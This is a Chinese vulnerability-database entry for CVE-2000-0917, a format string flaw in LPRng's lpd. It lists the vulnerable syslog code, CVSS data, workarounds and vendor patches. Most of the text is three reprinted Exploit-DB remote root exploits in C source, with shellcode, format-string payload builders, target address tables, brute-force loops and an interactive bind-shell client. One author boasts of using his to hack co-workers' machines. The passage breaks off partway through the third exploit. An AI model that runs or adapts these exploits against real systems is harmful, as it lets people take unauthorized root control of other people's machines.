CVE-2000-0917
CVSS10.0
发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:11
NMCOEP    

[原文]Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.


[CNNVD]Linux系统LPRng远程格式化串溢出漏洞(CNNVD-200012-136)

        
        LPRng是Berkeley lpr打印工具的一种实现。
        某些Linux系统附带的LPRng程序存在一个格式化串溢出漏洞,远程攻击者可以利用此漏洞通过溢出攻击在主机上以root用户权限执行任意指令。
        LPRng编程实现中有一个函数use_syslog(),此函数把用户的输入未加检查就作为一个格式化串传给syslog()函数。远程攻击者可以通过输入一个恶意的格式化串来破坏程序执行流程。在测试中,这个漏洞可被攻击者利用来从远程在主机上以root用户的权限执行任意指令。
        有问题的代码部分在:
        /LPRng-3.6.22/src/common/errormsg.c, use_syslog()
        ---
        static void use_syslog(int kind, char *msg)
        ...
        # ifdef HAVE_OPENLOG
         /* use the openlog facility */
         openlog(Name, LOG_PID | LOG_NOWAIT, SYSLOG_FACILITY );
         syslog(kind, msg);
         closelog();
        # else
         (void) syslog(SYSLOG_FACILITY | kind, msg);
        # endif /* HAVE_OPENLOG */
        ...
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:caldera:openlinux_eserver:2.3
cpe:/o:caldera:openlinux_edesktop:2.4
cpe:/o:caldera:openlinux
cpe:/o:trustix:secure_linux:1.0Trustix Trustix Linux 1.0
cpe:/a:caldera:openlinux_ebuilder:3.0
cpe:/o:trustix:secure_linux:1.1Trustix Secure Linux 1.1
cpe:/o:redhat:linux:7.0Red Hat Linux 7.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0917
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-136
(官方数据源) CNNVD

- 其它链接及资源

http://www.cert.org/advisories/CA-2000-22.html
(UNKNOWN)  CERT  CA-2000-22
http://xforce.iss.net/static/5287.php
(VENDOR_ADVISORY)  XF  lprng-format-string
http://www.securityfocus.com/bid/1712
(VENDOR_ADVISORY)  BID  1712
http://www.redhat.com/support/errata/RHSA-2000-065.html
(UNKNOWN)  REDHAT  RHSA-2000:065
http://www.calderasystems.com/support/security/advisories/CSSA-2000-033.0.txt
(UNKNOWN)  CALDERA  CSSA-2000-033.0
http://archives.neohapsis.com/archives/bugtraq/2000-09/0293.html
(UNKNOWN)  BUGTRAQ  20000925 Format strings: bug #2: LPRng
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:56.lprng.asc
(UNKNOWN)  FREEBSD  FreeBSD-SA-00:56

- 漏洞信息

Linux系统LPRng远程格式化串溢出漏洞
危急 未知
2000-12-19 00:00:00 2006-09-05 00:00:00
远程  
        
        LPRng是Berkeley lpr打印工具的一种实现。
        某些Linux系统附带的LPRng程序存在一个格式化串溢出漏洞,远程攻击者可以利用此漏洞通过溢出攻击在主机上以root用户权限执行任意指令。
        LPRng编程实现中有一个函数use_syslog(),此函数把用户的输入未加检查就作为一个格式化串传给syslog()函数。远程攻击者可以通过输入一个恶意的格式化串来破坏程序执行流程。在测试中,这个漏洞可被攻击者利用来从远程在主机上以root用户的权限执行任意指令。
        有问题的代码部分在:
        /LPRng-3.6.22/src/common/errormsg.c, use_syslog()
        ---
        static void use_syslog(int kind, char *msg)
        ...
        # ifdef HAVE_OPENLOG
         /* use the openlog facility */
         openlog(Name, LOG_PID | LOG_NOWAIT, SYSLOG_FACILITY );
         syslog(kind, msg);
         closelog();
        # else
         (void) syslog(SYSLOG_FACILITY | kind, msg);
        # endif /* HAVE_OPENLOG */
        ...
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 修改源码,增加""选项,如下所示:
         syslog(kind, msg);
        ---> syslog(kind, "", msg);
         (void) syslog(SYSLOG_FACILITY | kind, msg);
        ---> (void) syslog(SYSLOG_FACILITY | kind, "", msg);
        然后重新编译。
        * 您也可以停止此服务或在防火墙上过滤掉打印服务端口。
        厂商补丁:
        Caldera
        -------
        Caldera已经为此发布了一个安全公告(CSSA-2000-033.0)以及相应补丁:
        CSSA-2000-033.0:format bug in LPRng
        链接:
        http://www.caldera.com/support/security/advisories/CSSA-2000-033.0.txt

        补丁下载:
        OpenLinux Desktop 2.3
        Location of Fixed Packages:
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
        3ad5e8e8ab42d2ed1cce0627ca2a0f45 RPMS/LPRng-3.5.3-3.i386.rpm
        61f4d3aef6757c68ba73cc1cc8bbcf27 RPMS/LPRng-doc-3.5.3-3.i386.rpm
        ebd7e8ec09ef4d92397f608b1125ff82 RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
        c53c9a83c0791030297b6079d7b9fcd9 RPMS/LPRng-lpd-3.5.3-3.i386.rpm
        d266aed344873c9ff6aab2a409d760b4 SRPMS/LPRng-3.5.3-3.src.rpm
        OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0
        Location of Fixed Packages:
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
        9cb7089adcadcf29ee2cb8268acc46c1 RPMS/LPRng-3.5.3-3.i386.rpm
        77e9edbf336837a9957c3fc62167aee4 RPMS/LPRng-doc-3.5.3-3.i386.rpm
        558a98c48558538bc15f86ca9a555e68 RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
        62c39c60197447be1b4de85f81bcd5a0 RPMS/LPRng-lpd-3.5.3-3.i386.rpm
        d266aed344873c9ff6aab2a409d760b4 SRPMS/LPRng-3.5.3-3.src.rpm
        OpenLinux eDesktop 2.4
        Location of Fixed Packages:
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
        7ec1973e306bbcaa3e27b770b463e6fe RPMS/LPRng-3.5.3-3.i386.rpm
        f373e0a2389c64e207b84293d2afc177 RPMS/LPRng-doc-3.5.3-3.i386.rpm
        4560b0415dc7dbf7bde284173a49c6f6 RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
        994f2204ba1e743725fe69cecb47dac5 RPMS/LPRng-lpd-3.5.3-3.i386.rpm
        d266aed344873c9ff6aab2a409d760b4 SRPMS/LPRng-3.5.3-3.src.rpm
        Caldera eServer 2.3:
        Caldera RPM eDesktop 2.4 current LPRng-3.5.3-3.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/LPRng-3.5.3-3.i386.rpm
        Caldera RPM eServer 2.3/ eBuilder 3.0 current LPRng-3.5.3-3.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/LPRng-3.5.3-3.i386.rpm
        Caldera OpenLinux Desktop 2.3:
        Caldera eDesktop 2.4:
        Caldera OpenLinux eBuilder 3.0:
        Caldera RPM eDesktop 2.4 current LPRng-3.5.3-3.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/LPRng-3.5.3-3.i386.rpm
        Caldera RPM eServer 2.3/ eBuilder 3.0 current LPRng-3.5.3-3.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/LPRng-3.5.3-3.i386.rpm
        RedHat
        ------
        RedHat已经为此发布了一个安全公告(RHSA-2000:065-04)以及相应补丁:
        RHSA-2000:065-04:LPRng contains a critical string format bug
        链接:https://www.redhat.com/support/errata/RHSA-2000-065.html
        补丁下载:
        Red Hat Linux 7.0:
        i386:
        ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm
        sources:
        ftp://updates.redhat.com/7.0/SRPMS/LPRng-3.6.24-2.src.rpm
        可使用下列命令安装补丁:
        rpm -Fvh [文件名]

- 漏洞信息 (226)

LPRng 3.6.22/23/24 Remote Root Exploit (EDBID:226)
linux remote
2000-12-11 Verified
515 sk8
N/A [点击下载]
/*
 * LPRng remote root exploit for x86 Linux
 * 9/27/00 
 *
 * - sk8
 * tested on compiled LPRng 3.6.22/23/24 
 *
 */

#include <unistd.h>
#include <stdio.h>

char sc[]=
  "\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
  "\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
  "\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
  "\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
  "\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh";

#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
  char getbuf[1000];
  int bpad=0; /* was 2 */ /* 3 for other */
  /* 2 - -34
     3 - -41
     0 - -42
  */
  int i=0;
  int eiploc=0x41424344;
  char buffer[1024];
  char fmtbuf[128];
  int shloc=-1; //0xbffff2c8;
  int hi=100; 
  int lo=200;
  int pre=0;
  int align=-36;

  int pos=511; //483; //488; /*299;*/
  int debug=0;
  char s=0;
  char mode='n';

  while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
    switch(s) {
      case 'a': align=atoi(optarg); break;
      case 'b': bpad=atoi(optarg);
          break;
      case 'e': eiploc=strtoul(optarg, 0,0);
          break;
      case 's': shloc=strtoul(optarg, 0, 0);
          break;
      case 'p': pos=atoi(optarg); break;
      case 'd': debug=1; break;
      default:
    }
  }  
  if (shloc == -1) shloc=eiploc+2450;

  memset(buffer, 0, sizeof(buffer));
  memset(fmtbuf, 0, sizeof(fmtbuf));

  memset(buffer, 'B', bpad);
  *(long*)(buffer+strlen(buffer))=eiploc+2;
  *(long*)(buffer+strlen(buffer))=0x50505050;
  *(long*)(buffer+strlen(buffer))=eiploc;
  pre=strlen(buffer);

  if (debug) { mode='p'; hi=100; lo=100; }
  else {
    hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
    lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
  }
  sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode);
  strcat(buffer+strlen(buffer), fmtbuf);
  /* make it easier to hit shellcode */
  memset(buffer+strlen(buffer), NOP, 385);
  strcat(buffer, sc);
  *(char*)(buffer+strlen(buffer))=0;

  fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
  fprintf(stderr, "pos: %i\n", pos);
  fprintf(stderr, "align: %i\n", align);
  fprintf(stderr, "eip location: 0x%x\n", eiploc);
  fprintf(stderr, "shellcode location: 0x%x\n", shloc);
  fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
  fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
  printf("%s", buffer);
  putchar('\n');
}


// milw0rm.com [2000-12-11]
		

- 漏洞信息 (227)

LPRng (RedHat 7.0) lpd Remote Root Format String Exploit (EDBID:227)
linux remote
2000-12-11 Verified
515 DiGiT
N/A [点击下载]
/*
 *  Copyright (c) 2000 - Security.is
 *
 *  The following material may be freely redistributed, provided
 *  that the code or the disclaimer have not been partly removed,
 *  altered or modified in any way. The material is the property
 *  of security.is. You are allowed to adopt the represented code
 *  in your programs, given that you give credits where it's due.
 *
 * security.is presents: LPRng/Linux remote root lpd exploit.
 * 
 * Author: DiGiT - teddi@linux.is
 * 
 * Thanks to: portal for elite formatstring talent ;>
 * Greets to: security.is, #!ADM
 * 
 * Wrote it because I wanted to hack my co-workers machines ;>
 *
 * Run: ./SEClpd victim brute -t type  
 * Try first ./SEClpd victim -t 0 then try the brute. 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ADDRESS_BUFFER_SIZE   32+4
#define APPEND_BUFFER_SIZE    52
#define FORMAT_LENGTH         512-8
#define NOPCOUNT	      200
#define SHELLCODE_COUNT	      1030
#define DELAY	              50000 /* usecs */ 
#define OFFSET_LIMIT	      5000

char shellcode[] = 
  "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

struct target
 {
  char *os_name;
  u_long eip_address;
  u_long shellcode_address;
  unsigned int position;
  int written_bytes;
  int align;
};

struct target targets[] =
 {
  { "RedHat 7.0 - Guinesss    ", 0xbffff3ec, 0L, 300, 70, 2,         },
  { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2,         },
  { NULL, 0L, 0L, 0, 0, 0 }
};

static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;

void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
   int i;
   unsigned int tmp = 0;
   unsigned int copied = previous;
   unsigned int num[4] =
   {
      (unsigned int) (shellcode_addr & 0x000000ff),
      (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
      (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
      (unsigned int)((shellcode_addr & 0xff000000) >> 24)
   };

   memset (address_buffer, '\0', sizeof(address_buffer));
   memset (append_buffer, '\0', sizeof(append_buffer));

   for (i = 0; i < 4; i++)
   {
      while (copied > 0x100)
         copied -= 0x100;

      if ( (i > 0) && (num[i-1] == num[i]) )
         sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
      else if (copied < num[i])
      {
         if ( (num[i] - copied) <= 10)
         {
            sprintf (append_buffer+strlen(append_buffer), "%.*s",
               (int)(num[i] - copied), "security.is!");
            copied += (num[i] - copied);
            sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);         } else {
            sprintf (append_buffer+strlen(append_buffer), "%%.%du",
               num[i] - copied);
            copied += (num[i] - copied);
            sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);         }
      } else {
         tmp = ((num[i] + 0x100) - copied);
         sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
         copied += ((num[i] + 0x100) - copied);
         sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
      }
     
      sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
         (unsigned char) ((eip_addr+i) & 0x000000ff),
         (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
         (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
         (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
   }

   while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
      strcat (address_buffer, "X");


#ifdef DEBUG
   printf ("\nGeneration complete:\nAddress: ");
   for (i = 0; i < strlen(address_buffer); i++)
   {
      if ( ((i % 4) == 0) && (i > 0) )
         printf (".");
      printf ("%02x", (unsigned char)address_buffer[i]);
   }
   printf ("\nAppend: %s\n", append_buffer);
#endif

   return;
}

char *create_malicious_string(void)
{
   static char format_buffer[FORMAT_LENGTH+1];
   long addr1,addr2;
   int i;

   memset (format_buffer, '\0', sizeof(format_buffer));

        targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

	addr1 = targets[type].eip_address;
        addr2 = targets[type].shellcode_address;
  calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);
   
   (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
                   targets[type].align, "BBBB", address_buffer);

   strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
   strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
	
   for(i = 0 ; i < NOPCOUNT ; i++) 
   strcat(format_buffer, "\x90");

strcat(format_buffer, shellcode);

   return (format_buffer);
}

int connect_victim()
{

   int sockfd, n;
   struct sockaddr_in s;
   fd_set fd_stat;
   char buff[1024]; 

  static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
  
   s.sin_family = AF_INET;
   s.sin_port = htons (3879);
   s.sin_addr.s_addr = *(u_long *)he->h_addr;


   if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
     {
       printf ("--- [5] Unable to create socket!\n");
       printf("Exploit failed!\n");
       return -1;
     }

   if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
     {
       return -1;
     }

     if(brute)

	printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address);
   
     printf("-   [+] shell located on %s\n", hostname);
     printf("-   [+] Enter Commands at will\n\n");

 failure = -1;

 FD_ZERO(&fd_stat);
 FD_SET(sockfd, &fd_stat);
 send(sockfd, testcmd, strlen(testcmd), 0);

 while(1) {

  FD_SET(sockfd,&fd_stat);
  FD_SET(0,&fd_stat);

  if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
  if( FD_ISSET(sockfd, &fd_stat) ) {
   if((n=read(sockfd,buff,sizeof(buff)))<0){
     fprintf(stderr, "EOF\n");
     return 2;
   }

   if(write(1,buff,n)<0)break;
  }
  if ( FD_ISSET(0, &fd_stat) ) {
    if((n=read(0,buff,sizeof(buff)))<0){
      fprintf(stderr,"EOF\n");
      return 2;
    }

    if(send(sockfd,buff,n,0)<0) break;

   }
  }
}


void send_code(char *exploit_buffer)
{

   int sockfd, n;
   struct sockaddr_in s;
   fd_set fd_stat;
   char recv[1024];
   static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
 
   s.sin_family = AF_INET;
   s.sin_port = htons (515);
   s.sin_addr.s_addr = *(u_long *)he->h_addr;



   if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
     {
       printf ("--- [5] Unable to create socket!\n");
       printf("Exploit failed!\n");
       exit(-1);
     }

   if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
     {
       printf ("--- [5] Unable to connect to %s\n", hostname);
       printf("Exploit failed, %s is not running LPD!\n", hostname);
       exit(-1);
     }


	usleep(DELAY);
        
	if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
          {
             printf ("Couldn't write to socket %d", sockfd);
	     printf ("Exploit failed\n");
             exit(2);
         }

	close(sockfd);
	connect_victim();

   }




void usage(char *program)
{

 int i=0;

   printf("SEClpd by DiGiT of ADM/security.is ! \n\n");
   printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program);
   printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n");
   printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n");
   printf("Types:\n\n");

   while( targets[i].os_name != NULL)
      printf ("[ Type %d:  [ %s ]\n", i++, targets[i].os_name);
}

int main(int argc, char **argv)
{
 
   char exploit_buffer[1024];
   char *format = NULL;
   int c, brutecount=0;



if(argc < 3)
  {
    usage(argv[0]);
    return 1;
 }

      hostname = argv[1];

if(!strncmp(argv[2], "brute", 5)) brute = 1;

   
      while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){

      switch (c)
        {

         case 't':
            type = atoi(optarg);
            break;
      
         case 'r':
            targets[type].eip_address = strtoul(optarg, NULL, 16);
            break;

         case 'c':
            targets[type].shellcode_address = strtoul(optarg, NULL, 16);
            break;

         case 'a':
            targets[type].align = atoi(optarg);
            break;

         case 'o':
            offset = atoi(optarg);
            break;

         case 'p':
            targets[type].position = atoi(optarg);
            break;

         case 'w':
            targets[type].written_bytes = atoi(optarg);
            break;

        default:
          usage(argv[0]);
          return 1;
        }
   }

       if(type < 0) 
         {
	   printf("You must specify a type!\n");
	   printf("example: ./SEClpd victim -t 0\n");
	   return -1;
        }

   if ( (he = gethostbyname (hostname)) == NULL)
   {
     herror("gethostbyname");
     exit(1);
   }

  targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

   
   printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n");   

   printf("+++ Exploit information\n");
   printf("+++ Victim: %s\n", hostname);
   printf("+++ Type: %d - %s\n", type, targets[type].os_name);  
   printf("+++ Eip address: 0x%x\n", targets[type].eip_address); 
   printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address); 
   printf("+++ Position: %d\n", targets[type].position);
   printf("+++ Alignment: %d\n", targets[type].align);
   printf("+++ Offset %d\n", offset);
   printf("\n");

   printf("+++ Attacking %s with our format string\n", hostname);

if( brute > 0 )
 {

  printf("+++ Brute force man, relax and enjoy the ride ;>\n");
   targets[type].eip_address =  0xbffffff0;

 while(failure) 
 
  {
	memset(exploit_buffer, '\0', sizeof(exploit_buffer)); 

   format = create_malicious_string();
   strcpy(exploit_buffer, address_buffer);
   strcat(exploit_buffer, format);
   strcat(exploit_buffer, "\n");
   send_code(exploit_buffer);

	targets[type].eip_address = 0xbffffff0 - offset;

  offset+=4;

    if (offset > OFFSET_LIMIT) {
        printf("+++ Offset limit hit, ending brute mode ;<\n");
        return -1;

       }
    }
}


else

   format = create_malicious_string();
   strcpy(exploit_buffer, address_buffer);
   strcat(exploit_buffer, format);
   strcat(exploit_buffer, "\n");
   send_code(exploit_buffer);

	printf("Argh exploit failed$#%! try brute force!\n"); 

   return (-1);
}


// milw0rm.com [2000-12-11]
		

- 漏洞信息 (230)

LPRng 3.6.24-1 Remote Root Exploit (EDBID:230)
linux remote
2000-12-15 Verified
515 venomous
N/A [点击下载]
/*
 *    REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)
 *
 * The RedHat 7.0 replaced the BSD lpr with the LPRng package which is 
 * vulnerable to format string attacks because it passes information
 * to the syslog incorrectly.
 * You can get remote root access on machines running RedHat 7.0 with
 * lpd running (port 515/tcp) if it is not fixed, of course (3.6.25).
 *
 * bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember
 * is -not- installed by default (isnt a package of the slackware).
 *
 * and,.. this code is for educational propourses only, do not use
 * it on remote machines without authorization.
 *
 * greets: bruj0, ka0z, dn0, #rdC and #flatline
 *
 * coded by venomous of rdC - Argentinian security group.
 * venomous@rdcrew.com.ar
 * http://www.rdcrew.com.ar
 *
 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <signal.h>

char shellcode[]= // not mine
"\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" 
"\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08"
"\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10"
"\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c"
"\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe"
"\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2"
"\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
"\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68";

void usage(char *prog);
void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding , int fsc);
void sigint();
void sigalarm();
void mk_connect(char victim[128], int port);

char yahoo[1024];

struct os
{
	char *addr;
	char *shelladdr;
	char *desc;
	int addroffset;
	int shelladdroffset;
	int pad;
	int fsc;
};

/* generally, the addresses are wrong for a very small value,, i recommend
 * that you bruteforce the retloc + or - by 1..(ex: -50 to +50, steps of 1)
 * if it dont work, try the same but changing the fsc (this is the value
 * of when we start to control the formats strings), start from 290 until
 * 330, it should be enough.
 * and if it still dont work,, :|, try with the offset of the shellcode
 * address, this buffer has nops, so it shouldnt be difficult to guess.
 * make a .sh! :)
 * of course, you can start gdb on your box(es) and dont guess nothing
 * just inspect the program and get the correct values!
 *
 * -venomous
 */

struct os target[]=
{
	{"0xbfffee30", "0xbffff640", "Slackware 7.0 with LPRng-3.6.22.tgz - started from shell", 0, 0, 2, 299},
        {"0xbffff0f0", "0xbffff920", "RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5", 0, 0, 2, 304},
        {NULL,NULL,NULL,0,0}
};


main(int argc, char *argv[])
{
    int port=515,
    so=0,
    padding=0,
    retlocoffset=0,
    shellcodeoffset=0,
    fscT=0;

    char arg,
        victim[128],
    rl[128],
    sh[128];


    if(argc < 3)
        usage(argv[0]);

    bzero(victim,sizeof(victim));
    bzero(rl,sizeof(rl));
    bzero(sh,sizeof(sh));

    while ((arg = getopt(argc, argv, "h:p:r:s:t:P:R:S:c")) != EOF)
    {
        switch(arg)
        {
        case 'h':
            strncpy(victim,optarg,128);
            break;
        case 'p':
            port = atoi(optarg);
            break;
        case 'r':
            strncpy(rl,optarg,128);
            break;
        case 's':
            strncpy(sh,optarg,128);
            break;
        case 't':
            so = atoi(optarg);
            break;
        case 'P':
            padding = atoi(optarg);
            break;
        case 'R':
            retlocoffset = atoi(optarg);
            break;
        case 'S':
            shellcodeoffset = atoi(optarg);
            break;
        case 'c':
            fscT = atoi(optarg);
            break;
        default:
            usage(argv[0]);
            break;
        }
    }

    if(strlen(victim) == 0)
        usage(argv[0]);

    if (strcmp(rl,""))
        target[so].addr = rl;

    if (strcmp(sh,""))
        target[so].shelladdr = sh;

    if (retlocoffset != 0)
        target[so].addroffset = target[so].addroffset + retlocoffset;

    if (shellcodeoffset != 0)
        target[so].shelladdroffset = target[so].shelladdroffset + shellcodeoffset;

    if (padding != 0)
        target[so].pad = target[so].pad + padding;

    if (fscT != 0)
        target[so].fsc = target[so].fsc + fscT;

    signal(SIGINT, sigint);
    makebuffer(target[so].addr, target[so].shelladdr, target[so].addroffset, target[so].shelladdroffset, target[so].pad, target[so].fsc);
    mk_connect(victim, port);

}

void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding, int fsc)
{
    char *tmp,
    addrtmp[216],
    ot[128];

    int i,b,x,t;
    unsigned long pt;

    char temp[128];
    char a1,a2,a3,a4,a5,a6,a7,a8;
    char fir[12],sec[12],thr[12],f0r[12];
    unsigned long firl,secl,thrl,forl;
    unsigned long pas1,pas2,pas3,pas4;


    bzero(yahoo,sizeof(yahoo));
    bzero(ot,sizeof(ot));
    bzero(addrtmp,sizeof(addrtmp));

    printf("** LPRng remote root exploit coded by venomous of rdC **\n");
    printf("\nconstructing the buffer:\n\n");
    printf("adding bytes for padding: %d\n",padding);
    for(i=0 ; i < padding ; i++)
        strcat(yahoo,"A");

    tmp = addr;
    pt = strtoul(addr, &addr,16) + addroffset;
    addr = tmp;
    printf("retloc: %s + offset(%d) == %p\n", addr, addroffset, pt);
    printf("adding resulting retloc(%p)..\n",pt);
    sprintf(addrtmp, "%p", pt);
    if(strlen(addr) != 10)
    {
        printf("Error, retloc is %d bytes long, should be 10\n",strlen(addr));
        exit(1);
    }

    pt = 0;

    for (i=0 ; i < 4 ; i++)
    {
        pt = strtoul(addrtmp, &addrtmp, 16);
        //strcat(yahoo, &pt);
        bzero(ot,sizeof(ot));
        sprintf(ot,"%s",&pt);
        strncat(yahoo,ot,4);
        pt++;
        sprintf(addrtmp, "%p", pt);
        //printf("addrtmp:%s :yahoo %s\n",addrtmp,yahoo);
    }

    tmp = shaddr;
    pt = 0;
    pt = strtoul(shaddr,&shaddr,16) + shoffset;
    sprintf(ot,"%p",pt);
    shaddr = ot;

    printf("adding shellcode address(%s)\n", shaddr);
    sscanf(shaddr,"0x%c%c%c%c%c%c%c%c",&a1,&a2,&a3,&a4,&a5,&a6,&a7,&a8);

    sprintf(fir,"0x%c%c",a1,a2);
    sprintf(sec,"0x%c%c",a3,a4);
    sprintf(thr,"0x%c%c",a5,a6);
    sprintf(f0r,"0x%c%c",a7,a8);

    firl = strtoul(fir,&fir,16);
    secl = strtoul(sec,&sec,16);
    thrl = strtoul(thr,&thr,16);
    forl = strtoul(f0r,&f0r,16);

    pas1 = forl - 50 - padding;
